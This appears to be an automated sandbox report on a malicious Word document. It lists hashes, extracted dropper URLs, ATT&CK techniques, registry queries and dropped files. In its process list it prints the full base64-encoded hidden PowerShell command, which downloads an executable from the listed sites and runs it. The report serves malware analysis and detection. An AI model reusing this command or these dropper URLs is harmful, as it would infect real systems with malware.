ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
134s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-11-2024 12:42

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General

Target

2020-01-13_152510.doc
Size

230KB
MD5

fe3997f787f6855e35a27b44afa11c29
SHA1

f04bd67fd9cb44274476adfe2f19bece4c8cbfa6
SHA256

8d1e320dd026267c01926b358ef8765f23f759d5519fcaf7ad8a36f95f5d71e7
SHA512

794ee9c602fcfdd8a5b133d3a0664bb5a4aed9e60bf3e02c2c07c2c2e5946fa10649853525971adffa5d80b27fef179b6dbdc256b5413d5e58eab46e70717533
SSDEEP

6144:50Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+F5Xk:50E3dxtR/iU9mvUP3Xk

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://www.entreprendre-en-alsace.com/cust_service/Hp/

exe.dropper

https://www.ambiance-piscines.fr/wp-admin/tQQvQCL/

exe.dropper

https://www.akarosi.com/0868e784ba5af656b959f6ec5e4e9428/a1a/

exe.dropper

https://thecurrenthotel.com/wp-content/zel617r/

exe.dropper

https://wholesaleusedbooks.co.uk/jetpack-temp/Xl1SeJPW/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1172	3080	powershell.exe

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

24 1172 powershell.exe
25 1172 powershell.exe
28 1172 powershell.exe
31 1172 powershell.exe
33 1172 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1172 powershell.exe

flow	pid	process
24	1172	powershell.exe
25	1172	powershell.exe
28	1172	powershell.exe
31	1172	powershell.exe
33	1172	powershell.exe

pid	process
1172	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1636 WINWORD.EXE
1636 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1172 powershell.exe
1172 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1172 powershell.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

1636 WINWORD.EXE
1636 WINWORD.EXE
1636 WINWORD.EXE
1636 WINWORD.EXE
1636 WINWORD.EXE
1636 WINWORD.EXE
1636 WINWORD.EXE
1636 WINWORD.EXE

pid	process
1636	WINWORD.EXE
1636	WINWORD.EXE

pid	process
1172	powershell.exe
1172	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1172	powershell.exe

pid	process
1636	WINWORD.EXE
1636	WINWORD.EXE
1636	WINWORD.EXE
1636	WINWORD.EXE
1636	WINWORD.EXE
1636	WINWORD.EXE
1636	WINWORD.EXE
1636	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-13_152510.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1636

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -en JABHAHUAawB6AG4AaABkAGMAPQAnAE8AZQBmAGwAcABjAGUAZgAnADsAJABWAHAAegBpAHkAZwBlAGcAdwB0AGEAZQBhACAAPQAgACcAMgA2ADUAJwA7ACQAUQBxAGEAcABtAHoAawB5AGMAcgBiAGsAPQAnAFMAagBkAHoAcQBzAG0AYQAnADsAJABWAGIAYQBhAGgAbQB1AGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFYAcAB6AGkAeQBnAGUAZwB3AHQAYQBlAGEAKwAnAC4AZQB4AGUAJwA7ACQAQwB5AHYAaABxAHcAegB0AGgAagA9ACcASwBrAGEAaQBzAGQAeABqAG0AJwA7ACQAUwBrAHcAdABqAHcAZQBvAGsAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFYAcABlAGcAcwBjAHgAaAA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AZQBuAHQAcgBlAHAAcgBlAG4AZAByAGUALQBlAG4ALQBhAGwAcwBhAGMAZQAuAGMAbwBtAC8AYwB1AHMAdABfAHMAZQByAHYAaQBjAGUALwBIAHAALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGEAbQBiAGkAYQBuAGMAZQAtAHAAaQBzAGMAaQBuAGUAcwAuAGYAcgAvAHcAcAAtAGEAZABtAGkAbgAvAHQAUQBRAHYAUQBDAEwALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGEAawBhAHIAbwBzAGkALgBjAG8AbQAvADAAOAA2ADgAZQA3ADgANABiAGEANQBhAGYANgA1ADYAYgA5ADUAOQBmADYAZQBjADUAZQA0AGUAOQA0ADIAOAAvAGEAMQBhAC8AKgBoAHQAdABwAHMAOgAvAC8AdABoAGUAYwB1AHIAcgBlAG4AdABoAG8AdABlAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB6AGUAbAA2ADEANwByAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBoAG8AbABlAHMAYQBsAGUAdQBzAGUAZABiAG8AbwBrAHMALgBjAG8ALgB1AGsALwBqAGUAdABwAGEAYwBrAC0AdABlAG0AcAAvAFgAbAAxAFMAZQBKAFAAVwAvACcALgAiAHMAcABgAGwAaQBUACIAKAAnACoAJwApADsAJABLAHgAdABhAGYAcQBwAGYAcQA9ACcATgBvAGQAZABpAGYAcwBpAGQAcABsACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAGkAcQB5AHkAdwBxAGcAZwAgAGkAbgAgACQAVgBwAGUAZwBzAGMAeABoACkAewB0AHIAeQB7ACQAUwBrAHcAdABqAHcAZQBvAGsALgAiAGQAYABvAHcAbgBsAG8AQQBgAEQARgBJAGAAbABFACIAKAAkAEQAaQBxAHkAeQB3AHEAZwBnACwAIAAkAFYAYgBhAGEAaABtAHUAZAApADsAJABUAHkAaQB6AGoAYwB5AHgAaQByAGwAagB4AD0AJwBDAHMAZAB5AHYAdQB3AG0AZQBwAHYAcgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFYAYgBhAGEAaABtAHUAZAApAC4AIgBMAEUATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMwAyADQAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAFIAVAAiACgAJABWAGIAYQBhAGgAbQB1AGQAKQA7ACQAUgB5AGoAdABnAGgAaQBwAHcAbwBrAD0AJwBYAHMAdABsAGoAeQBmAGsAbQAnADsAYgByAGUAYQBrADsAJABFAHcAbQBlAGoAbgBrAGgAcwBzAHoAbgA9ACcATwBsAHUAYwBnAGoAbABiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAdgBrAGgAcwB6AGcAZQBrAHIAcAA9ACcARQBmAGkAZQBjAGEAbAB4AGUAdQBoAHYAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\265.exe

Filesize
132KB

MD5
33f087a7ec3a27abd8ffffba1d20b548

SHA1
59b902273b5510ef3fa9d2bc9d82ac3f63fec15e

SHA256
0cd5a5dda7c76c13b4e854660a76f64d10a0d7ca090b36336dca1236aeb89d67

SHA512
abd9d5dac198113b29b37f990c81639f0590ec00842693eac676c8d32238fa35b488c6751b1421b3fe9c14f3c670778b01651194bc9ef45b2794cd47e02fbe14

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD5D1.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x4wlhetx.zf3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
3bd6b2c5c94869753c0c2be9129df8ea

SHA1
e177888f0c410bf17c546c3d9066e547b4def726

SHA256
5a9620e14b7baf19ebea2f666935f8f953f60a0405ab1db1e77a3f3cd6e2557d

SHA512
e538a2f90eb27f01c0bd2651d42b68a08859a5f533553af58874a12181ac8f47ac26d7169fd44b88ff71f55e17cb06c8cf14876687b7e27150b86d018494d89a

Download Submit
memory/1172-47-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1172-92-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1172-57-0x000001ED02BF0000-0x000001ED02C12000-memory.dmp

Filesize
136KB

Download
memory/1636-6-0x00007FFA751D0000-0x00007FFA751E0000-memory.dmp

Filesize
64KB

Download
memory/1636-0-0x00007FFA751D0000-0x00007FFA751E0000-memory.dmp

Filesize
64KB

Download
memory/1636-9-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-11-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-12-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-14-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-13-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-17-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-16-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-15-0x00007FFA72C40000-0x00007FFA72C50000-memory.dmp

Filesize
64KB

Download
memory/1636-18-0x00007FFA72C40000-0x00007FFA72C50000-memory.dmp

Filesize
64KB

Download
memory/1636-30-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-31-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-10-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-8-0x00007FFA751D0000-0x00007FFA751E0000-memory.dmp

Filesize
64KB

Download
memory/1636-7-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-4-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-5-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-3-0x00007FFA751D0000-0x00007FFA751E0000-memory.dmp

Filesize
64KB

Download
memory/1636-93-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-94-0x00007FFAB51ED000-0x00007FFAB51EE000-memory.dmp

Filesize
4KB

Download
memory/1636-95-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-96-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-2-0x00007FFA751D0000-0x00007FFA751E0000-memory.dmp

Filesize
64KB

Download
memory/1636-105-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-106-0x00007FFAB5150000-0x00007FFAB5345000-memory.dmp

Filesize
2.0MB

Download
memory/1636-1-0x00007FFAB51ED000-0x00007FFAB51EE000-memory.dmp

Filesize
4KB

Download